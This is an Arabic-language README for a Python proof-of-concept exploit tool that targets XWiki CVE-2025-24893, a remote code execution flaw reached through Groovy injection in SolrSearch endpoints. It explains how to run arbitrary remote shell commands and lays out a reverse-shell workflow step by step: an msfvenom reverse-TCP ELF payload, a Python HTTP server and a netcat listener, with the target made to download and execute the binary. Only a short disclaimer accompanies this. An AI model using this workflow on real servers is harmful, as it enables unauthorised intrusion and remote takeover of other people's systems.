إثبات المفهوم لـ XWiki CVE-2025-24893

المؤلفون: Net.Doge و Infinit3i

هذا السكربت المكتوب بلغة Python يستغل CVE-2025-24893، وهي ثغرة تنفيذ أكواد عن بُعد (RCE) في XWiki ناتجة عن عزل غير صحيح في وحدات الماكرو الخاصة بـ Groovy والتي تُعرض بشكل غير متزامن. وهي تسمح بتنفيذ أوامر عشوائية من خلال الحقن في نقاط نهاية SolrSearch المعتمدة على RSS.

📌 الميزات

• تنفيذ أمر واحد عبر حقن Groovy
• توليد تلقائي لحمولة صدفة عكسية (باستخدام msfvenom)
• خيار لتخصيص:
  • الهدف البعيد
  • عنوان IP المحلي
  • منفذ خادم HTTP
  • منفذ beacon للصدفة العكسية
• معاينات نظيفة لحمولات bash
• واجهة TUI تفاعلية ملوّنة بـ ANSI

🚀 الاستخدام

1. استنسخ السكربت أو نزّله.

2. تأكد من تثبيت ما يلي:

   • msfvenom من Metasploit
   • Python 3
   • jq (يُستخدم في حمولات bash)

3. شغّل السكربت:

python3 CVE-2025-24893-PoC.py

4. اختر من القائمة:

   • تشغيل أمر – تنفيذ أي أمر شل عن بُعد.
   • صدفة عكسية – توليد ونشر صدفة عكسية بصيغة ELF إلى الهدف.
   • تغيير الإعدادات – تعديل LHOST أو RHOST أو منفذ الخادم أو منفذ beacon.

🧪 سير عمل الصدفة العكسية

1. يتم توليد الحمولة:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<your_ip> LPORT=<beacon_port> -f elf -o rev

2. سيُطلب منك تشغيل خادم HTTP بـ Python ومستمع netcat:

python3 -m http.server 8080
nc -lvnp 31337

3. يرسل السكربت التسلسل التالي إلى الهدف:

   • تنزيل الحمولة
   • جعلها قابلة للتنفيذ
   • تنفيذ الملف الثنائي

⚠️ إخلاء المسؤولية

هذه الأداة مخصصة لأغراض تعليمية وللاختبار المصرح به فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها هو أمر غير قانوني وغير أخلاقي.

📄 المراجع

• XWiki
• MITRE CVE-2025-24893